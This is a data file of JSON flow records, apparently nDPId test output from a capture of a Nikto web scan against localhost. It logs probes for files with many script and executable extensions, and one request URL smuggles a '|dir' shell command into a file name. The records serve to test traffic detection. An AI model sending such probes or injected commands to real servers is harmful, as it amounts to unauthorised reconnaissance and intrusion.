+00628{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":668793,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHxyBAAEAGdQ5\/AAABfwAAAcGUH5ATo\/8SaEXHToAYAED+uwAAAQEICp1m+uSdZvrkR0VUIC8waFhDNlpVRS5wbHxkaXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1576420276668,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49556,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.pl|dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1576420276669,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49558,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":669949,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADE5o1AAEAGVaR\/AAABfwAAAcGWH5C1696FBSsDZ4AYAED+uAAAAQEICp1m+uWdZvrlR0VUIC8waFhDNlpVRS50eHQgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1576420276669,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49558,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.txt","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1576420276672,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49560,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":672169,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEp8RAAEAGlG1\/AAABfwAAAcGYH5CQgZ\/Tf1wQGoAYAED+uAAAAQEICp1m+uidZvroR0VUIC8waFhDNlpVRS5pZGMgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1576420276672,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49560,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.idc","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1576420276673,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49562,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00641{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":673700,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"AAAAAAAAAAAAAAAACABFAADOZZhAAEAG1o9\/AAABfwAAAcGaH5DBdl2HfBCdbYAYAED+wgAAAQEICp1m+umdZvrpR0VUIC8waFhDNlpVRS5CQm9hcmRTZXJ2bGV0IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bWFwX2NvZGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1576420276673,"flow_last_seen":0,"flow_tot_l4_data_len":186,"flow_min_l4_data_len":186,"flow_max_l4_data_len":186,"flow_avg_l4_data_len":186,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49562,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.BBoardServlet","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1576420276675,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49564,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":675040,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADE9v9AAEAGRTJ\/AAABfwAAAcGcH5BsDc7u0ozjzoAYAED+uAAAAQEICp1m+uqdZvrqR0VUIC8waFhDNlpVRS5jZ2kgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1576420276675,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49564,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.cgi","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1576420276676,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49566,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":676249,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHEPBAAEAGKz9\/AAABfwAAAcGeH5DFGykA4SBK+YAYAED+uwAAAQEICp1m+uydZvrsR0VUIC8waFhDNlpVRS4xMDoxMDAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1576420276676,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49566,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.10:100","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1576420276677,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49568,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":677388,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADECABAAEAGNDJ\/AAABfwAAAcGgH5BVFT\/w+l\/OFYAYAED+uAAAAQEICp1m+u2dZvrtR0VUIC8waFhDNlpVRS5leGUgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1576420276677,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49568,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.exe","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1576420276678,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49570,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":678526,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFtjJAAEAGhf5\/AAABfwAAAcGiH5AIK44ii9cP6IAYAED+uQAAAQEICp1m+u6dZvruR0VUIC8waFhDNlpVRS5waHAzIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6bWFwX2NvZGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":14,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1576420276678,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49570,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.php3","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":15,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1576420276679,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49572,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":679657,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEHFNAAEAGH99\/AAABfwAAAcGkH5DblSRB+hg5GYAYAED+uAAAAQEICp1m+u+dZvrvR0VUIC8waFhDNlpVRS5iYXQgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":15,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1576420276679,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49572,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.bat","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1576420276680,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49574,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":680791,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBM9JAAEAGCGN\/AAABfwAAAcGmH5Br4QvDZx90z4AYAED+tQAAAQEICp1m+vCdZvrwR0VUIC8waFhDNlpVRS8gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDptYXBfY29kZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1576420276680,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49574,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1576420276681,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49576,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":681921,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEACBAAEAGPBJ\/AAABfwAAAcGoH5CXxDgNS2MhWYAYAED+uAAAAQEICp1m+vGdZvrxR0VUIC8waFhDNlpVRS5jZm0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1576420276681,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49576,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.cfm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1576420276683,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49578,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":683033,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDkEpAAEAGq+h\/AAABfwAAAcGqH5CEAqhbm4E5vYAYAED+twAAAQEICp1m+vKdZvryR0VUIC8waFhDNlpVRS5wbCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1576420276683,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49578,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.pl","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1576420276685,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49580,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":685360,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADE6exAAEAGUkV\/AAABfwAAAcGsH5Ci99H6PnUDOIAYAED+uAAAAQEICp1m+vWdZvr1R0VUIC8waFhDNlpVRS5jbWQgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0Om1hcF9jb2RlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1576420276685,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49580,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0hXC6ZUE.cmd","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:map_codes)"}} 